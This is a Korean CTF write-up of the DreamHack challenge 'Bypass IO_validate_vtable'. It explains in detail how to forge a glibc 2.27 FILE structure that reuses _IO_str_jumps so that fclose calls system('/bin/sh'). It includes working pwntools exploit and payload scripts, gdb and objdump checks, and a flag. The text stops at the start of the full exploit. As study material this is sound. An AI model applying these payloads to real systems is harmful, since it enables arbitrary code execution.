[🥇 Gold 3] vtable 을 못 옮기면 libc 안의 진짜 vtable 을 빌린다 — DreamHack Bypass IO_validate_vtable 풀이

2026-08-01·1분 읽기·

[🥇 Gold 3] vtable 을 못 옮기면 libc 안의 진짜 vtable 을 빌린다 — DreamHack Bypass IO_validate_vtable 풀이

read 한 번으로 FILE 구조체 300바이트를 통째로 덮을 수 있는데, 대상이 glibc 2.27 이라 vtable 을 엉뚱한 주소로 돌리면 그 자리에서 abort 한다. 2.24 부터 fclose 안에 IO_validate_vtable 범위 검사가 인라인돼 있기 때문이다. 그래서 vtable 을 옮기는 대신 __libc_IO_vtables 섹션 안에 원래부터 있던 _IO_str_jumps 를 그대로 갖다 쓴다. 그 vtable 의 __finish 인 _IO_str_finish 는 FILE+0xe8 을 함수 포인터로 호출하는데, 그 칸도 우리가 덮는 300바이트 안에 있다.

문제: DreamHack — Bypass IO_validate_vtable 분류: pwnable 난이도: 🥇 Gold 3 FLAG: DH{2eb9fa36f3ffbb948fd525ad7190d263da14eb01af4106a0a037b6ec9662f582}

배포본은 바이너리 하나, libc 하나, 25줄짜리 C 소스 하나가 전부다. 소스가 짧아서 취약점을 찾는 데는 1분도 안 걸린다.

진짜 문제는 그 다음이다. 늘 쓰던 방식이 이 libc 에서는 abort 로 끝난다.

file extracted/bypass_valid_vtable && checksec --file=extracted/bypass_valid_vtable
file 과 checksec 으로 확인한 배포 바이너리 — No PIE, Partial RELRO, NX 만 켜져 있고 카나리는 없다
file 과 checksec 으로 확인한 배포 바이너리 — No PIE, Partial RELRO, NX 만 켜져 있고 카나리는 없다

문제 개요

항목내용
문제명Bypass IO_validate_vtable
난이도🥇 Gold 3
분류pwnable
제공 파일bypass_valid_vtable, bypass_valid_vtable.c, libc.so.6, Dockerfile
스택Ubuntu 18.04 · glibc 2.27-3ubuntu1 · socat 으로 TCP 노출
보호 기법No PIE · Partial RELRO · NX · 카나리 없음
핵심 취약점FILE 구조체 전체를 임의 값으로 덮은 뒤 fclose 가 호출됨
핵심 기법IO_validate_vtable 우회 — 섹션 안의 _IO_str_jumps 재사용

풀이 흐름은 네 줄로 요약된다.

프로그램이 stdout 포인터를 직접 찍어 주니 libc 베이스가 공짜로 나온다. 그 값으로 _IO_str_jumps 와 system 의 실제 주소를 계산한다. 가짜 FILE 을 만들되 vtable 칸에는 libc 에 원래 있던 vtable 주소를 넣는다. fclose 가 그 vtable 의 __finish 를 부르면 system("/bin/sh") 가 실행된다.



🧩 배경 — _IO_FILE, vtable, 그리고 2.24 에 생긴 벽

C 에서 FILE * 로 들고 다니는 그 구조체는 glibc 안에서 struct _IO_FILE 이다. 크기는 x86-64 에서 0xd8 바이트.

그런데 실제로 할당되는 건 그것보다 8바이트 큰 struct _IO_FILE_plus 다. 뒤에 함수 포인터 테이블 주소가 하나 더 붙는다.

struct _IO_FILE_plus
{
  _IO_FILE            file;      /* 0x00 ~ 0xd7 */
  const struct _IO_jump_t *vtable;  /* 0xd8 */
};

fread·fwrite·fclose 같은 함수는 자기가 직접 일하지 않는다. vtable 에서 해당 슬롯을 꺼내 호출한다. 파일이냐 메모리 스트림이냐 파이프냐에 따라 동작이 달라져야 하니 C 로 구현한 가상 함수 테이블인 셈이다.

_IO_jump_t 는 앞에 더미 두 칸이 있다.

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);       /* +0x00 */
    JUMP_FIELD(size_t, __dummy2);      /* +0x08 */
    JUMP_FIELD(_IO_finish_t, __finish);    /* +0x10 */
    JUMP_FIELD(_IO_overflow_t, __overflow);  /* +0x18 */
    JUMP_FIELD(_IO_underflow_t, __underflow); /* +0x20 */
    /* ... */
};

그래서 __finish 는 vtable 기준 +0x10 이다. 이 오프셋은 뒤에서 계속 쓴다.

2.23 까지는 이게 그냥 뚫렸다

FILE 구조체를 덮을 수 있으면 vtable 포인터도 덮을 수 있다. 내가 통제하는 메모리에 가짜 테이블을 만들고 vtable 을 그쪽으로 돌리면, 다음 stdio 호출에서 원하는 주소로 점프한다.

너무 잘 되니까 glibc 2.24 에서 막았다. libio/libioP.h 에 검사가 들어갔다.

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    _IO_vtable_check ();
  return vtable;
}

libc 안의 정상 vtable 들은 전부 __libc_IO_vtables 라는 전용 섹션에 모여 있다. vtable 포인터가 그 섹션 밖을 가리키면 _IO_vtable_check() 로 빠지고, 거기서도 정당한 사유(dlopen 된 확장 등)가 없으면 프로세스를 죽인다.

이 문제 제목이 말하는 게 정확히 그 검사다. 먼저 대상 libc 를 확인한다.

strings extracted/libc.so.6 | grep "GNU C Library" && readelf -S extracted/libc.so.6 | grep -A1 __libc_IO_vtables
strings 와 readelf 로 확인한 libc 버전과 __libc_IO_vtables 섹션 — 2.27-3ubuntu1 이고 섹션은 0x3e7760 에서 0xd68 바이트다
strings 와 readelf 로 확인한 libc 버전과 __libc_IO_vtables 섹션 — 2.27-3ubuntu1 이고 섹션은 0x3e7760 에서 0xd68 바이트다

2.27-3ubuntu1. 검사가 살아 있는 버전이다. 그리고 섹션은 0x3e7760 부터 0xd68 바이트 — 즉 0x3e7760 ~ 0x3e84c8 이다. 이 범위는 앞으로 계속 나온다.


🔬 코드 정찰 — 25줄이 주는 것

배포된 소스 전문이다. 정말 이게 전부다.

// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie
 
#include <stdio.h>
#include <unistd.h>
 
FILE *fp;
 
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
 
int main() {
  init();
 
  fp = fopen("/dev/urandom", "r");
 
  printf("stdout: %p\n", stdout);
  printf("Data: ");
 
  read(0, fp, 300);
 
  fclose(fp);
}

읽을 게 세 줄뿐이다.

fopen 이 힙에 FILE 을 하나 만든다. /dev/urandom 인 건 아무 의미 없고, 그냥 "정상적인 파일 스트림 하나"가 필요했을 뿐이다.

printf("stdout: %p\n", stdout) 가 _IO_2_1_stdout_ 의 런타임 주소를 그대로 찍는다. libc 베이스를 구하는 데 삽질이 필요 없다는 뜻이다.

그리고 read(0, fp, 300). 첫 인자가 &fp 가 아니라 fp 다. 포인터 변수가 아니라 그 포인터가 가리키는 힙 구조체에 300바이트를 쓴다. FILE 이 0xd8 바이트고 vtable 포인터까지 합쳐도 0xe0 이니, 300(0x12c)바이트면 구조체를 다 덮고도 남는다.

마지막 fclose(fp) 가 그 위조 구조체를 들고 stdio 안으로 들어간다.

정리하면 이렇다. 덮을 수 있는 건 FILE 전체, 트리거는 fclose 한 방. 남은 질문은 하나다 — fclose 는 이 구조체의 어느 칸을 실제로 읽는가.



🧱 fclose 가 실제로 지나가는 길

소스만 보고 추측하면 틀린다. glibc 소스도 버전마다 다르고, 컴파일러가 인라인·최적화를 해 버리면 실제 코드는 또 달라진다. 배포된 그 libc 를 직접 뜯어보는 게 맞다.

objdump -d --start-address=0x7e250 --stop-address=0x7e2be extracted/libc.so.6 | sed -f annot_fclose.sed

주석은 sed 로 내가 붙인 것이고, 나머지는 objdump 출력 그대로다. 쓴 규칙 파일(annot_fclose.sed)은 이렇게 생겼다.

/  7e254:/s/$/     <-- eax = fp->_flags/
/  7e259:/s/$/     <-- _IO_IS_FILEBUF(0x2000) 검사/
/  7e264:/s/$/     <-- _IO_USER_LOCK(0x8000) 검사/
/  7e27c:/s/$/     <-- _lock 역참조 (USER_LOCK 이면 여기 안 온다)/
/  7e28d:/s/$/     <-- r12 = fp+0xd8 = vtable/
/  7e294:/s/$/     <-- __start___libc_IO_vtables/
/  7e29b:/s/$/     <-- __stop___libc_IO_vtables/
/  7e2a2:/s/$/     <-- rax = 섹션 길이/
/  7e2a8:/s/$/     <-- rcx = vtable - 섹션시작/
/  7e2ae:/s/$/     <-- 섹션 밖이면 _IO_vtable_check() = abort/
/  7e2b9:/s/$/     <-- _IO_FINISH: vtable+0x10 호출/
objdump 로 뜯은 fclose 앞부분 — 플래그 검사, 락 처리, IO_validate_vtable 범위 검사, vtable+0x10 호출이 한 화면에 다 보인다
objdump 로 뜯은 fclose 앞부분 — 플래그 검사, 락 처리, IO_validate_vtable 범위 검사, vtable+0x10 호출이 한 화면에 다 보인다

이 한 장에 필요한 정보가 다 있다. 순서대로 읽으면 이렇다.

7e254 ~ 7e25c — _flags 를 읽어 test $0x20,%ah 로 검사한다. ah 는 eax 의 8~15비트니까 0x20 << 8 = 0x2000, 즉 _IO_IS_FILEBUF 다. 이게 켜져 있으면 7e308 로 뛰어 _IO_un_link → _IO_file_close_it 코스를 탄다. 그 길은 _chain 리스트를 걷고 _fileno 로 close(2) 를 부르는, 신경 쓸 게 많은 길이다. 끄면 그냥 안 간다.

7e264 — and $0x8000,%edx 로 _IO_USER_LOCK 을 본다. 이게 0이면 7e314 로 내려가 락을 잡는데, 거기서 0x88(%rbx) 즉 _lock 을 역참조한다. 켜져 있으면 그 블록을 통째로 건너뛴다.

7e27c — 락 해제 쪽도 마찬가지다. mov 0x88(%rbx),%rdx 다음 subl $0x1,0x4(%rdx). 바로 위 7e278: test %edx,%edx / jne 7e28d 때문에 _IO_USER_LOCK 이 켜져 있으면 여기도 안 온다.

이게 이 문제에서 제일 마음에 든 발견이었다. 보통 위조 FILE 을 만들 때는 _lock 에 "쓰기 가능한 0으로 채워진 주소"를 찾아 넣어야 한다. 그런데 플래그 비트 하나로 그 요구사항 자체가 사라진다.

7e28d ~ 7e2ae — IO_validate_vtable 이 인라인된 자리다. lea 두 개가 0x3e7760(시작)과 0x3e84c8(끝)을 그대로 상수로 박아 놨다. rax = 끝 - 시작 = 0xd68, rcx = vtable - 시작. cmp %rcx,%rax 후 jbe 면 _IO_vtable_check 로 간다. 즉 rcx 가 0xd68 보다 작아야 통과한다.

7e2b9 — call *0x10(%r12). _IO_FINISH, 곧 vtable 의 __finish 슬롯이다.


▶🕳️ 삽질 1 — 예전 방식대로 vtable 을 옮겨 봤다

검사가 있다는 걸 머리로는 알아도, 실제로 어떻게 죽는지는 한 번 봐야 감이 온다. 2.23 시절 방식 그대로 vtable 을 우리가 아는 아무 주소로 돌려 봤다.

문제는 "아는 주소"가 별로 없다는 것이다. 힙 주소는 안 새고, 바이너리 영역엔 우리가 쓴 값이 없다. 결국 유출된 _IO_2_1_stdout_ 자기 자신을 넣어 봤다. 어차피 요점은 "섹션 밖이면 무슨 일이 나는가"라 어디를 가리키든 같다.

#!/usr/bin/env python3
# glibc 2.23 시절 방식 — vtable 을 우리가 아는 아무 주소로나 돌려 본다.
from pwn import *
import sys
 
context.arch = 'amd64'
context.log_level = 'warn'
 
IO_2_1_stdout_ = 0x3ec760
 
p = process('./local/bypass_valid_vtable')
p.recvuntil(b'stdout: ')
libc = int(p.recvline().strip(), 16) - IO_2_1_stdout_
print('[*] libc base   = %#x' % libc)
 
# 우리가 실제로 아는 유일한 libc 주소 = _IO_2_1_stdout_ 자체.
# __libc_IO_vtables(libc+0x3e7760 ~ libc+0x3e84c8) 밖이다.
fake_vtable = libc + IO_2_1_stdout_
print('[*] fake vtable = %#x  (__libc_IO_vtables 밖)' % fake_vtable)
 
payload  = p64(0xfbad8000)
payload += b'\x00' * (0xd8 - 8)
payload += p64(fake_vtable)
payload += b'\x00' * (300 - len(payload))
 
p.recvuntil(b'Data: ')
p.send(payload)
 
print('[*] fclose() 결과:')
print(p.recvall(timeout=3).decode(errors='replace').strip())
print('[*] 종료 상태 =', p.poll(block=True))
naive_vtable.py 실행 결과 — 섹션 밖 vtable 을 넣자 glibc 가 invalid stdio handle 을 출력하고 SIGABRT 로 죽는다
naive_vtable.py 실행 결과 — 섹션 밖 vtable 을 넣자 glibc 가 invalid stdio handle 을 출력하고 SIGABRT 로 죽는다
Fatal error: glibc detected an invalid stdio handle
[*] 종료 상태 = -6

-6 은 SIGABRT. _IO_vtable_check 가 __libc_fatal 로 프로세스를 끝낸 것이다.

여기서 알 수 있는 게 하나 더 있다. 이 메시지가 뜬다는 건 vtable 을 읽는 데까지는 갔다는 뜻이다. 즉 _flags 조작(_IO_IS_FILEBUF 끄기, _IO_USER_LOCK 켜기)은 이미 제대로 먹혔고, 막힌 건 딱 vtable 한 칸이다. 실패 지점이 정확히 어디인지 알고 넘어가면 다음 수가 짧아진다.



💣 핵심 — 섹션 안에 있는 진짜 vtable 을 빌린다

검사 조건을 다시 보면, 요구하는 건 하나다. vtable 이 __libc_IO_vtables 섹션 안에 있을 것. 그 안에 있으면 내용이 뭐든 상관하지 않는다.

그런데 그 섹션에는 libc 가 쓰라고 만들어 둔 vtable 이 여러 개 들어 있다. _IO_file_jumps, _IO_wfile_jumps, _IO_proc_jumps, _IO_mem_jumps, _IO_str_jumps…

FILE * 를 fopen 으로 열면 _IO_file_jumps 가 붙는다. 그런데 sprintf 처럼 메모리 버퍼를 스트림처럼 쓰는 함수는 다른 걸 쓴다. 문자열 스트림용 _IO_str_jumps 다. 그 vtable 의 __finish 슬롯에 걸린 함수를 보자.

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;
 
  _IO_default_finish (fp, 0);
}

_IO_strfile 은 _IO_FILE_plus 뒤에 두 칸이 더 붙은 구조체다.

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;  /* +0xe0 */
  _IO_free_type  _free_buffer;      /* +0xe8 */
};

정리하면 _IO_str_finish 는 이렇게 동작한다.

  • fp->_IO_buf_base(+0x38)가 NULL 이 아니고
  • _flags & _IO_USER_BUF(0x1)가 꺼져 있으면
  • *(fp+0xe8) 을 함수로 호출한다. 인자는 fp->_IO_buf_base.

+0x38 과 +0xe8. 둘 다 우리가 덮는 300바이트 안에 있다. +0x38 에 "/bin/sh" 주소를, +0xe8 에 system 주소를 넣으면 그대로 셸이다.

_IO_str_jumps 주소 구하기 — 심볼이 없다

문제는 _IO_str_jumps 가 static const 라 배포 libc 에서 심볼이 안 남는다는 것이다. nm 으로도 안 나오고 pwntools ELF.symbols 로도 안 잡힌다.

그래서 두 단서로 좁혔다.

  1. _IO_str_jumps 는 __libc_IO_vtables 섹션 안에 있다.
  2. 그 vtable 의 __overflow(+0x18) 슬롯은 _IO_str_overflow 인데, 이건 export 돼 있다.

섹션 안에서 _IO_str_overflow 주소가 통째로 박힌 자리를 찾고, 거기서 0x18 을 빼면 vtable 시작이다. 다만 _IO_mem_jumps(open_memstream 용)도 __overflow 가 같은 함수라 후보가 둘 나온다. 그건 __finish 슬롯으로 가른다 — _IO_str_finish 는 _IO_str_overflow 와 같은 파일(strops.c)에 있어 주소가 가깝다.

#!/usr/bin/env python3
# 스트립된 libc 에서 _IO_str_jumps 의 오프셋을 찾는다.
#
# _IO_str_jumps 는 static const 라 심볼이 안 남는다. 하지만
#   (1) __libc_IO_vtables 섹션 안에 있고,
#   (2) +0x18(__overflow) 칸이 _IO_str_overflow — 이건 export 돼 있다.
# 이 둘로 후보를 좁힌 뒤, +0x10(__finish) 이 _IO_str_finish 인 쪽을 고른다.
# (_IO_mem_jumps 도 __overflow 가 _IO_str_overflow 라 후보로 같이 걸린다.)
import struct
from pwn import ELF
 
PATH = 'extracted/libc.so.6'
lib = ELF(PATH, checksec=False)
data = open(PATH, 'rb').read()
 
# __libc_IO_vtables 섹션 경계 — IO_validate_vtable 이 이 범위로 검사한다
sec = lib.get_section_by_name('__libc_IO_vtables')
start, size = sec.header.sh_addr, sec.header.sh_size
delta = sec.header.sh_addr - sec.header.sh_offset   # 파일오프셋 → 가상주소
print('[section] __libc_IO_vtables = %#x .. %#x  (len %#x)' % (start, start + size, size))
 
str_overflow = lib.symbols['_IO_str_overflow']
print('[symbol ] _IO_str_overflow   = %#x' % str_overflow)
 
needle = struct.pack('<Q', str_overflow)
off = 0
while True:
    i = data.find(needle, off)
    if i < 0:
        break
    off = i + 1
    vt = i - 0x18 + delta              # __overflow 는 vtable+0x18
    if not (start <= vt < start + size):
        continue                       # 섹션 밖이면 vtable 이 아니다
    finish = struct.unpack('<Q', data[i - 0x18 + 0x10:i - 0x18 + 0x18])[0]
    name = '_IO_str_jumps' if abs(finish - str_overflow) < 0x1000 else '_IO_mem_jumps'
    print('[cand   ] vtable=%#x  __finish=%#x  → %s' % (vt, finish, name))
find_str_jumps.py 실행 결과 — 섹션 안에서 후보 두 개를 찾아 _IO_mem_jumps 와 _IO_str_jumps 로 갈라 준다
find_str_jumps.py 실행 결과 — 섹션 안에서 후보 두 개를 찾아 _IO_mem_jumps 와 _IO_str_jumps 로 갈라 준다

_IO_str_jumps = 0x3e8360, __finish = _IO_str_finish = 0x90300.

섹션 시작이 0x3e7760 이니 오프셋은 0x3e8360 - 0x3e7760 = 0xc00. 0xd68 보다 작다. 검사를 통과한다.

다른 경로로 한 번 더 확인

스크립트 하나 돌려 나온 값이라 찜찜하면, 완전히 다른 각도에서 대조할 수 있다. vsprintf 는 스택에 _IO_strfile 을 만들고 거기에 _IO_str_jumps 를 심는다. 그 코드에 주소가 상수로 박혀 있을 것이다.

objdump -d --start-address=0x81690 --stop-address=0x816c3 extracted/libc.so.6 | sed -f annot_vsprintf.sed
/  8169a:/s/$/     <-- _IO_no_init: 스택에 _IO_strfile 초기화/
/  8169f:/s/$/     <-- rax = 0x3e8360  = _IO_str_jumps/
/  816b6:/s/$/     <-- 그 값을 strfile+0xd8(vtable 칸)에 저장/
/  816be:/s/$/     <-- _IO_str_init_static_internal/
objdump 로 본 _IO_vsprintf — lea 로 0x3e8360 을 집어 스택 strfile 의 0xd8 칸에 넣는다. _IO_str_jumps 주소가 독립적으로 확인된다
objdump 로 본 _IO_vsprintf — lea 로 0x3e8360 을 집어 스택 strfile 의 0xd8 칸에 넣는다. _IO_str_jumps 주소가 독립적으로 확인된다

lea 0x366cba(%rip),%rax 의 계산 결과가 주석으로 # 3e8360 이라 찍혀 있고, 그 값이 0xd8(%rsp) 에 저장된다. _IO_FILE_plus 의 vtable 칸이다. 스크립트가 찾은 값과 정확히 같다.

_IO_str_finish 도 직접 확인

C 소스는 참고일 뿐이고, 실제로 도는 건 이 libc 의 기계어다.

objdump -d --start-address=0x90300 --stop-address=0x9032b extracted/libc.so.6 | sed -f annot_str_finish.sed
/  90304:/s/$/     <-- rdi = fp->_IO_buf_base/
/  9030b:/s/$/     <-- NULL 이면 건너뜀/
/  9030d:/s/$/     <-- _flags \& _IO_USER_BUF(0x1)/
/  90310:/s/$/     <-- 켜져 있으면 건너뜀/
/  90312:/s/$/     <-- fp+0xe8 을 함수로 호출 = system("\/bin\/sh")/
/  90326:/s/$/     <-- _IO_default_finish 로 tail-call/
objdump 로 본 _IO_str_finish — 0x38 칸을 rdi 에 싣고 _flags 최하위 비트를 검사한 뒤 call *0xe8(%rbx) 를 실행한다
objdump 로 본 _IO_str_finish — 0x38 칸을 rdi 에 싣고 _flags 최하위 비트를 검사한 뒤 call *0xe8(%rbx) 를 실행한다

기계어 12줄이 소스와 한 줄씩 대응한다.

90300:  push %rbx
90301:  mov  %rdi,%rbx            ; rbx = fp
90304:  mov  0x38(%rdi),%rdi      ; rdi = fp->_IO_buf_base
90308:  test %rdi,%rdi
9030b:  je   90318                ; NULL 이면 호출 안 함
9030d:  testb $0x1,(%rbx)         ; _flags & _IO_USER_BUF
90310:  jne  90318                ; 켜져 있으면 호출 안 함
90312:  call *0xe8(%rbx)          ; ★ 여기

인자가 rdi = fp->_IO_buf_base 로 이미 세팅된 채로 *(fp+0xe8) 을 부른다. system 의 첫 인자가 rdi 니 딱 맞는다. 가젯을 찾을 필요도 없다.



🎯 페이로드 조립 — 결국 _flags 세 비트

지금까지 나온 조건을 다 모으면 실제로 채워야 할 칸은 네 개뿐이다.

오프셋필드값이유
0x00_flags0xfbad8000아래 표 참고
0x38_IO_buf_baselibc + 0x1b3e9a_IO_str_finish 가 rdi 로 넘길 "/bin/sh"
0xd8vtablelibc + 0x3e8360_IO_str_jumps — 섹션 안이라 검사 통과
0xe8_s._free_bufferlibc + 0x4f440실제로 호출되는 칸 = system

나머지는 전부 0으로 둬도 된다. _lock(0x88)까지도.

_flags 는 비트 세 개가 전부다.

비트이름값왜
0x0001_IO_USER_BUF꺼짐켜져 있으면 _IO_str_finish 가 _free_buffer 를 안 부른다
0x2000_IO_IS_FILEBUF꺼짐켜져 있으면 _IO_un_link · _IO_file_close_it 코스로 샌다
0x8000_IO_USER_LOCK켜짐켜면 _lock(0x88) 역참조를 통째로 건너뛴다

0xfbad8000 은 세 조건을 다 만족하는 값 중 하나다. 상위 0xfbad 는 원래 FILE 의 매직이라 그대로 흉내 냈다. 사실 fclose 경로에서는 매직을 안 보므로 0x8000 만 넣어도 동작한다.

_IO_USER_LOCK 을 켜는 게 억지스러운 조합인가 싶었는데, 아니었다. 앞의 _IO_vsprintf 캡쳐에서 lea 바로 위에 있던 호출이 _IO_no_init 인데, glibc 소스에서 그 호출은 이렇게 생겼다.

_IO_no_init (&sf._sbf._f, _IO_USER_LOCK, -1, NULL, NULL);
_IO_JUMPS (&sf._sbf) = &_IO_str_jumps;

즉 glibc 자신이 문자열 스트림을 만들 때 _IO_USER_LOCK 을 켜고 _IO_str_jumps 를 붙인다. 우리가 조립한 조합은 정상 str 스트림이 원래 갖는 모양 그대로다. _lock 이 필요 없는 것도 그래서다 — 스택에 잠깐 만들었다 버리는 스트림에 락을 걸 이유가 없으니 glibc 가 처음부터 그 경로를 꺼 둔 것이다.

한 그림으로 정리하면 이렇다.

위조한 FILE 구조체의 칸별 역할과 fclose 가 지나가는 다섯 단계를 한 장에 정리한 도식 — 0xd8 의 vtable 을 _IO_str_jumps 로, 0xe8 을 system 으로 채운 배치가 표시돼 있다
위조한 FILE 구조체의 칸별 역할과 fclose 가 지나가는 다섯 단계를 한 장에 정리한 도식 — 0xd8 의 vtable 을 _IO_str_jumps 로, 0xe8 을 system 으로 채운 배치가 표시돼 있다

런타임으로 확인

정적 분석이 맞았는지는 실행 중에 봐야 확실하다. fclose+0x69(call *0x10(%r12) 직전)에 브레이크를 걸고 레지스터를 찍어 봤다.

먼저 gdb 는 ASLR 을 끄니 libc 적재 주소가 고정이다. 그 값으로 payload 를 파일에 만든다.

#!/usr/bin/env python3
# gdb 로 관찰할 때 쓸 payload.bin 을 만든다.
from pwn import p64, p32, p16, p8
import sys
 
libc = int(sys.argv[1], 0)
SYSTEM, BINSH, IO_STR_JUMPS = 0x4f440, 0x1b3e9a, 0x3e8360
 
payload  = p64(0xfbad8000)                 # 0x00 _flags
payload += p64(0) * 6                      # 0x08 _IO_read_ptr … 0x30 _IO_write_end
payload += p64(libc + BINSH)               # 0x38 _IO_buf_base → _IO_str_finish 의 rdi
payload += p64(0)                          # 0x40 _IO_buf_end
payload += p64(0) * 4                      # 0x48 _IO_save_base … 0x60 _markers
payload += p64(0)                          # 0x68 _chain
payload += p32(0) + p32(0)                 # 0x70 _fileno, 0x74 _flags2
payload += p64(0)                          # 0x78 _old_offset
payload += p16(0) + p8(0) + p8(0) + p32(0) # 0x80 _cur_column·_vtable_offset·_shortbuf
payload += p64(0) * 7                      # 0x88 _lock … 0xb8 __pad5
payload += p32(0) + b'\x00' * 20           # 0xc0 _mode, 0xc4 _unused2[20]
assert len(payload) == 0xd8
payload += p64(libc + IO_STR_JUMPS)        # 0xd8 vtable
payload += p64(0)                          # 0xe0 _s._allocate_buffer
payload += p64(libc + SYSTEM)              # 0xe8 _s._free_buffer
payload += b'\x00' * (300 - len(payload))
 
open('payload.bin', 'wb').write(payload)
print('payload.bin %d bytes  (libc=%#x  vtable=%#x  system=%#x)'
      % (len(payload), libc, libc + IO_STR_JUMPS, libc + SYSTEM))

libc 베이스는 프로그램이 스스로 찍어 주는 값에서 구한다.

base=$(gdb -q -batch -ex 'run < /dev/null' ./local/bypass_valid_vtable \
        | grep -oP 'stdout: \K0x[0-9a-f]+')
python3 gen_payload.py $((base - 0x3ec760))

gdb 배치 스크립트(gdb_check.gdb)는 이렇다.

set confirm off
set pagination off
 
# fclose+0x69 = IO_validate_vtable 을 통과한 직후, __finish 를 부르기 직전
break *(fclose+0x69)
run < payload.bin
 
set $libc = (unsigned long)&system - 0x4f440
 
printf "\n=== IO_validate_vtable 이 실제로 비교한 값 ===\n"
printf "libc base            = %#lx\n", $libc
printf "section length (rax) = %#lx\n", $rax
printf "vtable offset  (rcx) = %#lx   <- length 보다 작아야 통과\n", $rcx
printf "vtable         (r12) = libc+%#lx\n", $r12 - $libc
 
printf "\n=== 곧 불릴 함수와 그 인자 ===\n"
printf "__finish = *(vtable+0x10) = libc+%#lx  (_IO_str_finish)\n", *(unsigned long *)($r12 + 0x10) - $libc
printf "fp->_IO_buf_base = libc+%#lx\n", *(unsigned long *)($rbx + 0x38) - $libc
x/s *(char **)($rbx + 0x38)
printf "fp+0xe8 = libc+%#lx\n", *(unsigned long *)($rbx + 0xe8) - $libc
info symbol *(unsigned long *)($rbx + 0xe8)
gdb -q -batch -x gdb_check.gdb ./local/bypass_valid_vtable 2>&1 | grep -avE "Loadable section|^  in /home" | cat -s
gdb 배치 실행 결과 — 섹션 길이 0xd68 과 vtable 오프셋 0xc00 이 실제 레지스터로 확인되고 fp+0xe8 이 system 으로 해석된다
gdb 배치 실행 결과 — 섹션 길이 0xd68 과 vtable 오프셋 0xc00 이 실제 레지스터로 확인되고 fp+0xe8 이 system 으로 해석된다

정적 분석에서 계산한 값이 실행 중 레지스터로 전부 확인된다.

  • section length (rax) = 0xd68 — objdump 에서 lea 두 개로 읽은 값 그대로
  • vtable offset (rcx) = 0xc00 — 0xd68 미만이라 jbe 를 안 탄다
  • __finish = libc+0x90300 — 스크립트가 찾은 _IO_str_finish
  • x/s 결과가 "/bin/sh", fp+0xe8 은 gdb 가 system 으로 해석

이 시점에서 call *0x10(%r12) 한 줄만 남았다.



▶🕳️ 삽질 2 — 로컬은 되는데 원격만 0바이트로 끝났다

익스는 완성됐고 로컬에서 셸까지 잡았는데, 배포 Dockerfile 그대로 띄운 socat 컨테이너에 붙이니 아무 응답도 안 왔다. 받은 바이트 수 0.

크래시인지, 셸은 떴는데 출력이 안 오는 건지 구분이 안 됐다. Fatal error 같은 메시지라도 있으면 좋았을 텐데 그것도 없었다.

원인은 익스가 아니라 TCP 였다. 배포 CMD 를 보면 이렇다.

CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; done

socat 이 소켓을 프로세스의 stdin 에 그대로 물린다. 그러니 read(0, fp, 300) 은 소켓에서 읽는다.

내가 보낸 건 240바이트 페이로드 + 곧이어 보낸 id\n 이었다. 둘이 붙어서 한 세그먼트로 도착하면 read 는 최대 300까지 읽으므로 셸에 줄 명령까지 같이 먹어 버린다. FILE 은 정상적으로 덮이고 셸도 정상적으로 뜬다. 그런데 그 셸이 읽을 게 아무것도 없어서 그냥 대기한다. 그러다 연결이 닫히면 조용히 끝난다.

로컬에서 process() 로 돌릴 땐 파이프 타이밍이 달라 우연히 나뉘어서 성공했다. "로컬은 되는데 원격만 안 된다"의 정체가 익스 로직이 아니라 이거였다.

재현해 보면 명확하다.

#!/usr/bin/env python3
# 삽질 재현 — 페이로드를 0xf0(240)바이트만 보내고 곧바로 셸 명령을 붙여 보낸다.
from pwn import *
import sys
 
context.arch = 'amd64'
context.log_level = 'warn'
 
HOST = sys.argv[1] if len(sys.argv) > 2 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 7182
 
p = remote(HOST, PORT)
p.recvuntil(b'stdout: ')
libc = int(p.recvline().strip(), 16) - 0x3ec760
 
payload  = p64(0xfbad8000)
payload += p64(0) * 6
payload += p64(libc + 0x1b3e9a)            # _IO_buf_base = "/bin/sh"
payload += b'\x00' * (0xd8 - len(payload))
payload += p64(libc + 0x3e8360)            # vtable = _IO_str_jumps
payload += p64(0)
payload += p64(libc + 0x4f440)             # +0xe8 = system
print('[*] libc=%#x  payload=%d bytes (300 으로 안 채움)' % (libc, len(payload)))
 
p.recvuntil(b'Data: ')
p.send(payload)
p.sendline(b'id')                          # ← 이게 같은 세그먼트에 실려 read 에 먹힌다
 
out = p.recvall(timeout=5)
print('[*] 셸에서 받은 바이트 수 =', len(out))
print('[*] 받은 내용 =', out)
p.close()
sapjil_nopad.py 실행 결과 — payload 를 300 으로 안 채우고 240바이트만 보내니 셸에서 받은 바이트 수가 0, 받은 내용도 빈 문자열로 찍힌다
sapjil_nopad.py 실행 결과 — payload 를 300 으로 안 채우고 240바이트만 보내니 셸에서 받은 바이트 수가 0, 받은 내용도 빈 문자열로 찍힌다

해결은 간단하다. 페이로드를 정확히 300바이트로 채운다. read 가 300을 다 먹고 반환하므로 뒤이어 보낸 명령은 소켓 버퍼에 남아 셸 몫이 된다.

payload += b'\x00' * (300 - len(payload))

넘치는 0xf0~0x12b 구간은 힙 청크 안이라 안전하다. fopen 이 잡는 struct locked_FILE 은 _IO_FILE_plus(0xe0) 뒤에 락과 _IO_wide_data 가 더 붙어 0x1d0 을 넘는다. 300바이트는 그 안에서 끝난다.

여기에 time.sleep(0.3) 을 하나 더 넣었다. 없어도 되지만, 느린 링크에서 300바이트가 두 세그먼트로 쪼개지는 경우까지 생각하면 있는 게 낫다.


🚀 Full Exploit

실제로 flag 를 뽑은 스크립트 전문이다.

#!/usr/bin/env python3
# Bypass IO_validate_vtable (DreamHack, Gold 3, pwnable / id 365)
#
